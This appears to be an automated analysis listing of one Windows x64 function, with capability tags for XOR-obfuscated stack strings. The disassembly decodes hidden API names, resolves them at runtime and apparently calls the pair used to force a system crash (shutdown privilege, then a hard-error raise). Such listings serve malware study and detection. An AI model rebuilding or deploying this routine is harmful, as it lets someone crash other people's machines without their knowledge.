Function at 0x14004f050
Capabilities:
Contain obfuscated stackstrings
Encode data using xor

Disassembly:
mov qword [rsp + 0x18], rbx
mov qword [rsp + 0x20], rsi
push rbp
push rdi
push r14
mov rbp, rsp
sub rsp, 0x70
mov byte [rbp - 0x1b], reloc.WLDAP32.dll_Ordinal_50
xor ebx, ebx
mov byte [rbp - 0x1a], reloc.WS2_32.dll_send
movabs r11, 0xde419f38cf883e60
mov byte [rbp - 0x19], 0
mov r10, r11
mov byte [rbp - 0x18], reloc.WLDAP32.dll_Ordinal_33
mov r9d, ebx
mov byte [rbp - 0x17], 8
lea esi, [rbx + 0xf]
mov byte [rbp - 0x16], 7
mov byte [rbp - 0x15], Ordinal_30
mov byte [rbp - 0x14], Ordinal_26
mov byte [rbp - 0x13], reloc.WS2_32.dll_sendto
mov byte [rbp - 0x12], Ordinal_60
mov byte [rbp - 0x11], reloc.WS2_32.dll_socket
mov byte [rbp - 0x10], ntohl
mov byte [rbp - 0xf], reloc.WLDAP32.dll_Ordinal_27
mov byte [rbp - 0xe], 0
mov byte [rbp - 0xd], ntohl
mov byte [rbp - 0xc], 7
mov byte [rbp - 0xb], reloc.WS2_32.dll_socket
mov byte [rbp - 0xa], reloc.WS2_32.dll_select
mov byte [rbp - 9], 0x7c
movzx eax, byte [rbp - 0x1b]
lea rax, [rbp - 0x1b]
sub r10, rax
mov rcx, r9
lea rdx, [rbp - 0x1b]
add rdx, r9
and ecx, esi
cmp rcx, rsi
mov rax, r11
cmovae rcx, rsi
movsx r8, byte [rdx]
add dl, r10b
shl cl, 2
shr rax, cl
and al, sil
xor al, dl
xor al, r8b
mov byte [rbp + r9 - 0x1b], al
inc r9
cmp r9, 0x13
jb 0x14004f0d1
mov byte [rbp - 0x40], Ordinal_79
movabs r14, 0x2708afa85b89822e
mov byte [rbp - 0x3f], 0x59
mov r10, r14
mov byte [rbp - 0x3e], 0x56
mov r9, rbx
mov byte [rbp - 0x3d], 0x55
mov byte [rbp - 0x3c], 0x57
mov byte [rbp - 0x3b], reloc.WS2_32.dll_setsockopt
mov byte [rbp - 0x3a], 0x5b
mov byte [rbp - 0x39], 0x5c
mov byte [rbp - 0x38], 0x52
mov byte [rbp - 0x37], 0x3d
movzx eax, byte [rbp - 0x40]
lea rax, [rbp - 0x40]
sub r10, rax
nop dword [rax]
mov rcx, r9
lea rdx, [rbp - 0x40]
add rdx, r9
and ecx, esi
cmp rcx, rsi
mov rax, r14
cmovae rcx, rsi
movsx r8, byte [rdx]
add dl, r10b
shl cl, 2
shr rax, cl
and al, sil
xor al, dl
xor al, r8b
mov byte [rbp + r9 - 0x40], al
inc r9
cmp r9, 0xa
jb 0x14004f150
lea rcx, [rbp - 0x40]
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov rcx, rax
lea rdx, [rbp - 0x1b]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov byte [rbp - 0x2c], 0xfe
movabs r11, 0xf6131b6c2871abbc
mov byte [rbp - 0x2b], 0xc2
mov rdi, rax
mov byte [rbp - 0x2a], 0xe7
mov r10, r11
mov byte [rbp - 0x29], 0xd4
mov r9, rbx
mov byte [rbp - 0x28], 0xa8
mov byte [rbp - 0x27], 0xb5
mov byte [rbp - 0x26], 0xaf
mov byte [rbp - 0x25], 0x89
mov byte [rbp - 0x24], 0xa9
mov byte [rbp - 0x23], 0xb1
mov byte [rbp - 0x22], 0xa9
mov byte [rbp - 0x21], 0x83
mov byte [rbp - 0x20], 0xb9
mov byte [rbp - 0x1f], 0xba
mov byte [rbp - 0x1e], 0xa3
mov byte [rbp - 0x1d], 0xb6
mov byte [rbp - 0x1c], 0xc0
movzx eax, byte [rbp - 0x2c]
lea rax, [rbp - 0x2c]
sub r10, rax
nop dword [rax]
nop word [rax + rax]
mov rcx, r9
lea rdx, [rbp - 0x2c]
add rdx, r9
and ecx, esi
cmp rcx, rsi
mov rax, r11
cmovae rcx, rsi
movsx r8, byte [rdx]
add dl, r10b
shl cl, 2
shr rax, cl
and al, sil
xor al, dl
xor al, r8b
mov byte [rbp + r9 - 0x2c], al
inc r9
cmp r9, 0x11
jb 0x14004f210
mov byte [rbp - 0x36], Ordinal_79
mov r9, r14
mov byte [rbp - 0x35], 0x59
mov byte [rbp - 0x34], 0x56
mov byte [rbp - 0x33], 0x55
mov byte [rbp - 0x32], 0x57
mov byte [rbp - 0x31], reloc.WS2_32.dll_setsockopt
mov byte [rbp - 0x30], 0x5b
mov byte [rbp - 0x2f], 0x5c
mov byte [rbp - 0x2e], 0x52
mov byte [rbp - 0x2d], 0x3d
movzx eax, byte [rbp - 0x36]
lea rax, [rbp - 0x36]
sub r9, rax
nop
mov rcx, rbx
lea rdx, [rbp - 0x36]
add rdx, rbx
and ecx, esi
cmp rcx, rsi
mov rax, r14
cmovae rcx, rsi
movzx r8d, byte [rdx]
add dl, r9b
shl cl, 2
shr rax, cl
and al, sil
xor al, dl
xor al, r8b
mov byte [rbp + rbx - 0x36], al
inc rbx
cmp rbx, 0xa
jb 0x14004f280
lea rcx, [rbp - 0x36]
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov rcx, rax
lea rdx, [rbp - 0x2c]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
xor r8d, r8d
lea r9, [rbp + 0x20]
mov dl, 1
mov rbx, rax
lea ecx, [r8 + 0x13]
call rdi
lea rax, [rbp + 0x28]
xor r9d, r9d
mov qword [rsp + 0x28], rax
xor r8d, r8d
xor edx, edx
mov dword [rsp + 0x20], 6
mov ecx, 0xc00002b4
call rbx
lea r11, [rsp + 0x70]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rsp, r11
pop r14
pop rdi
pop rbp
ret